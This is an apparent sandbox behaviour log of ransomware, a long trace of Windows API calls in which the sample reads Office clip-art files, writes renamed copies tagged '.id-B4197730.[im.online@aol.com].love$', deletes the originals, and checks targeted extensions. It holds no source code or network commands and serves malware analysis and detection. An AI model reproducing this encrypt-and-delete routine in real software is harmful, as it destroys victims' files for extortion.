[0266.826] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x55ba, lpOverlapped=0x0) returned 1 [0266.830] WriteFile (in: hFile=0x4e4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x55c0, lpOverlapped=0x0) returned 1 [0266.832] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.832] WriteFile (in: hFile=0x4e4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.832] SetEndOfFile (hFile=0x4e4) returned 1 [0266.832] CloseHandle (hObject=0x4e4) returned 1 [0266.832] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.832] SetEndOfFile (hFile=0x4ac) returned 1 [0266.842] CloseHandle (hObject=0x4ac) returned 1 [0266.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0266.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.845] lstrlenW (lpString=".doc") returned 4 [0266.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.846] lstrlenW (lpString=".docx") returned 5 [0266.846] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0266.846] lstrlenW (lpString=".pdf") returned 4 [0266.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.846] lstrlenW (lpString=".xls") returned 4 [0266.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.846] lstrlenW (lpString=".xlsx") returned 5 [0266.846] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0266.846] lstrlenW (lpString=".ppt") returned 4 [0266.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.846] lstrlenW (lpString=".zip") returned 4 [0266.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.846] lstrlenW (lpString=".rar") returned 4 [0266.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.846] lstrlenW (lpString=".bz2") returned 4 [0266.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.846] lstrlenW (lpString=".7z") returned 3 [0266.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.847] lstrlenW (lpString=".dbf") returned 4 [0266.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.847] lstrlenW (lpString=".1cd") returned 4 [0266.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.847] lstrlenW (lpString=".jpg") returned 4 [0266.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.847] lstrlenW (lpString=".doc") returned 4 [0266.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.847] lstrlenW (lpString=".docx") returned 5 [0266.847] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0266.847] lstrlenW (lpString=".pdf") returned 4 [0266.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.847] lstrlenW (lpString=".xls") returned 4 [0266.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.847] lstrlenW (lpString=".xlsx") returned 5 [0266.847] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0266.847] lstrlenW (lpString=".ppt") returned 4 [0266.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.848] lstrlenW (lpString=".zip") returned 4 [0266.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.848] lstrlenW (lpString=".rar") returned 4 [0266.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.848] lstrlenW (lpString=".bz2") returned 4 [0266.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.848] lstrlenW (lpString=".7z") returned 3 [0266.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.848] lstrlenW (lpString=".dbf") returned 4 [0266.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.848] lstrlenW (lpString=".1cd") returned 4 [0266.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0266.848] lstrlenW (lpString=".jpg") returned 4 [0266.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.849] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0266.849] lstrlenW (lpString="J0099165.JPG") returned 12 [0266.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0266.851] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=50490) returned 1 [0266.852] CloseHandle (hObject=0x4ac) returned 1 [0266.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 0x220 [0266.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0268.289] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.289] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0268.967] GetLastError () returned 0x0 [0268.967] ReadFile (in: hFile=0x418, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xc53a, lpOverlapped=0x0) returned 1 [0268.979] WriteFile (in: hFile=0x4e4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xc540, lpOverlapped=0x0) returned 1 [0268.983] ReadFile (in: hFile=0x418, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.983] WriteFile (in: hFile=0x4e4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.983] SetEndOfFile (hFile=0x4e4) returned 1 [0268.984] CloseHandle (hObject=0x4e4) returned 1 [0268.986] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.986] SetEndOfFile (hFile=0x418) returned 1 [0268.992] CloseHandle (hObject=0x418) returned 1 [0269.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0269.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.018] lstrlenW (lpString=".doc") returned 4 [0269.018] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0269.018] lstrlenW (lpString=".docx") returned 5 [0269.018] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0269.018] lstrlenW (lpString=".pdf") returned 4 [0269.018] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0269.018] lstrlenW (lpString=".xls") returned 4 [0269.018] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0269.018] lstrlenW (lpString=".xlsx") returned 5 [0269.018] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0269.018] lstrlenW (lpString=".ppt") returned 4 [0269.018] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0269.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.018] lstrlenW (lpString=".zip") returned 4 [0269.018] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0269.018] lstrlenW (lpString=".rar") returned 4 [0269.018] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0269.019] lstrlenW (lpString=".bz2") returned 4 [0269.019] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0269.019] lstrlenW (lpString=".7z") returned 3 [0269.019] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0269.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.019] lstrlenW (lpString=".dbf") returned 4 [0269.019] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0269.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.019] lstrlenW (lpString=".1cd") returned 4 [0269.019] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0269.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.019] lstrlenW (lpString=".jpg") returned 4 [0269.019] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0269.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.019] lstrlenW (lpString=".doc") returned 4 [0269.019] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0269.020] lstrlenW (lpString=".docx") returned 5 [0269.020] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0269.020] lstrlenW (lpString=".pdf") returned 4 [0269.020] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0269.020] lstrlenW (lpString=".xls") returned 4 [0269.020] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0269.020] lstrlenW (lpString=".xlsx") returned 5 [0269.020] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0269.020] lstrlenW (lpString=".ppt") returned 4 [0269.020] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0269.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.020] lstrlenW (lpString=".zip") returned 4 [0269.020] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0269.020] lstrlenW (lpString=".rar") returned 4 [0269.020] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0269.020] lstrlenW (lpString=".bz2") returned 4 [0269.020] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0269.020] lstrlenW (lpString=".7z") returned 3 [0269.020] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0269.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.021] lstrlenW (lpString=".dbf") returned 4 [0269.021] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0269.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.021] lstrlenW (lpString=".1cd") returned 4 [0269.021] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0269.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0269.021] lstrlenW (lpString=".jpg") returned 4 [0269.021] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0269.022] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0269.022] lstrlenW (lpString="J0099177.WMF") returned 12 [0269.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.024] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=5386) returned 1 [0269.024] CloseHandle (hObject=0x418) returned 1 [0269.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220 [0269.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.026] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.027] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0269.028] GetLastError () returned 0x0 [0269.028] ReadFile (in: hFile=0x418, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x150a, lpOverlapped=0x0) returned 1 [0269.220] WriteFile (in: hFile=0x4e4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1510, lpOverlapped=0x0) returned 1 [0269.227] ReadFile (in: hFile=0x418, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.228] WriteFile (in: hFile=0x4e4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.229] SetEndOfFile (hFile=0x4e4) returned 1 [0269.229] CloseHandle (hObject=0x4e4) returned 1 [0269.229] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.229] SetEndOfFile (hFile=0x418) returned 1 [0269.235] CloseHandle (hObject=0x418) returned 1 [0269.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0269.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.238] lstrlenW (lpString=".doc") returned 4 [0269.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.239] lstrlenW (lpString=".docx") returned 5 [0269.239] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0269.239] lstrlenW (lpString=".pdf") returned 4 [0269.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.239] lstrlenW (lpString=".xls") returned 4 [0269.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.239] lstrlenW (lpString=".xlsx") returned 5 [0269.239] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0269.240] lstrlenW (lpString=".ppt") returned 4 [0269.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.240] lstrlenW (lpString=".zip") returned 4 [0269.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.240] lstrlenW (lpString=".rar") returned 4 [0269.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString=".bz2") returned 4 [0269.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString=".7z") returned 3 [0269.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.240] lstrlenW (lpString=".dbf") returned 4 [0269.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.240] lstrlenW (lpString=".1cd") returned 4 [0269.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.240] lstrlenW (lpString=".jpg") returned 4 [0269.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.241] lstrlenW (lpString=".doc") returned 4 [0269.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString=".docx") returned 5 [0269.241] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0269.241] lstrlenW (lpString=".pdf") returned 4 [0269.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.241] lstrlenW (lpString=".xls") returned 4 [0269.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.241] lstrlenW (lpString=".xlsx") returned 5 [0269.241] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0269.242] lstrlenW (lpString=".ppt") returned 4 [0269.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.242] lstrlenW (lpString=".zip") returned 4 [0269.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.242] lstrlenW (lpString=".rar") returned 4 [0269.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString=".bz2") returned 4 [0269.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString=".7z") returned 3 [0269.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.242] lstrlenW (lpString=".dbf") returned 4 [0269.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.242] lstrlenW (lpString=".1cd") returned 4 [0269.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0269.243] lstrlenW (lpString=".jpg") returned 4 [0269.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.243] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0269.243] lstrlenW (lpString="J0099181.WMF") returned 12 [0269.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.245] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=1198) returned 1 [0269.245] CloseHandle (hObject=0x418) returned 1 [0269.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0269.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0269.246] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.246] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0269.250] GetLastError () returned 0x0 [0269.250] ReadFile (in: hFile=0x418, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x4ae, lpOverlapped=0x0) returned 1 [0269.253] WriteFile (in: hFile=0x4e4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x4b0, lpOverlapped=0x0) returned 1 [0269.255] ReadFile (in: hFile=0x418, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, 